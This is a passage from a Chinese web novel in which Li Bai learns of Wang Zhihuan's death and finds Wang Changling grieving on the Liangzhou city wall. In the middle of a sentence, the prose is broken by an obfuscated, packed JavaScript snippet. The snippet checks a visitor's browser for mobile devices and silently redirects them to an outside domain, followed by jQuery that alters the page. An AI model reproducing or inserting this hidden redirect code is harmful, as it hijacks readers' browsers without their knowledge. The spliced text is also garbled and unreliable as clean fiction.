裴五闻言,脸上露出明显的惊讶:“太白先生……您竟不知?” 他看着李白疑惑的眼神,压低声音:“王之涣先生……早已过世了。” “什么?!”李白如遭雷击,瞬间僵在原地。云间鹳雀……那个只闻其名、诗作寥寥却字字珠玑的传奇人物……他只道那位前辈清高孤傲,不爱在诗牌发声,哪里想到…… “什么时候的事?我……我竟从未听闻!”他声音都有些发颤。 裴五叹息一声:“具体时日学生也不甚清楚,似乎是在去岁。夫子……应是极伤心的。平日学生负责收交诗课作业时,常能看到夫子诗牌上与‘云间鹳雀’的私信往来,或分享趣事,或发发牢骚……夫子那时虽也严肃,但眉宇间常有笑意。” 李白恍然大悟,瞬间串联起所有线索:凉州,斗诗故地,故友去世,王昌龄一路的沉默、刻意的疏离、昨夜的反常、执意的独处……一切都指向同一个答案——他心上的那道深可见骨的伤口,就在此处! 李白豁然起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275825|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不敢再想,一把拉开房门冲了出去。 王昌龄的房间就在走廊尽头。他几步抢到门前,急促地敲了两下:“少伯兄?” 无人应答。 他猛地推开房门—— 室内空无一人。只有桌上一盏未燃的油灯,在窗外透进的微光里泛着冷硬的轮廓。 凉州太大了,他会去哪? 李白脑中一片混乱,下意识点开诗牌,飞快地给“青海长云”发去消息:“少伯兄,你在何处?” 消息如同石沉大海。 他强迫自己冷静:王昌龄在此地并无亲朋故旧可访,若有安排也必会告知。他独自离开,答案只有一个——他去了那个承载着他们共同记忆的地方,去凭吊那位再也无法斗诗的故人。 城头,只有那巍峨的凉州城头! 李白再不犹豫,转身冲出客栈,向着记忆中凉州城巍峨的城墙方向发足狂奔。腰间长剑随着奔跑晃动,剑穗上那枚明月佩在昏暗的街巷中,微光流转。 凉州城墙厚重如山,在浓重的夜色里沉默矗立。夜风呼啸着掠过垛口,带来塞外特有的粗粝寒意。 李白一路疾奔上城头,脚步刚踏上冰冷的青砖,便听到风中断断续续传来压抑的吟诵声。 “……黄河……远上……白云间……” 声音低沉沙哑,每一个字都像是从肺腑深处艰难挤出。 李白心头一紧,立刻收住脚步,屏息隐在一处高大城垛的阴影之后。 借着朦胧月色,只见王昌龄那袭黑袍几乎融于夜色,孤零零地立在靠近外城墙的垛口边。他面前粗糙的墙垛上,赫然摆放着两个粗瓷大碗。他手中,正捧着一坛深红色的葡萄酒,小心翼翼地往两个碗中倾倒。 “……一片孤城……万仞……山……” 倒酒的手微微发颤。 “……羌笛……何须……怨杨柳……” 吟到此处,声音陡然哽住,化作一声破碎的抽泣。 他放下酒坛,端起其中一个粗瓷碗,对着苍茫的西北方向,做了一个碰杯的动作。然后,他仰起头,将碗中酒一饮而尽。 诗的末句,终究未能出口,而是化作一声轻唤。 “季凌……” 他双手撑在冰冷的城砖上,肩膀剧烈地抽动着,终于再也压抑不住,低低的啜泣声从喉咙深处逸出,被呼啸的夜风撕扯得断断续续。 李白默默注视着这一切,心头仿佛压上了巨石,沉甸甸的,眼眶发热。他悄然摸出诗牌,点开“云间鹳雀”的主页。 果然,诗牌沉寂如古井,只有寥寥可数的几个诗贴孤悬其上,最新的一首,赫然标注着“开元十五年·凉州词”。 “开元十五年……”李白脑中电光石火般闪过王昌龄初见自己白袍时说过的话——“某想起开元十五年,亦是在此地裁了身白袍”。 一个清晰的画面在他眼前铺开:年轻的王昌龄,意气风发,身着崭新的白袍,西出长安,在边塞邂逅了同样传奇的王之涣,一同游历,一同在烽火城头斗诗……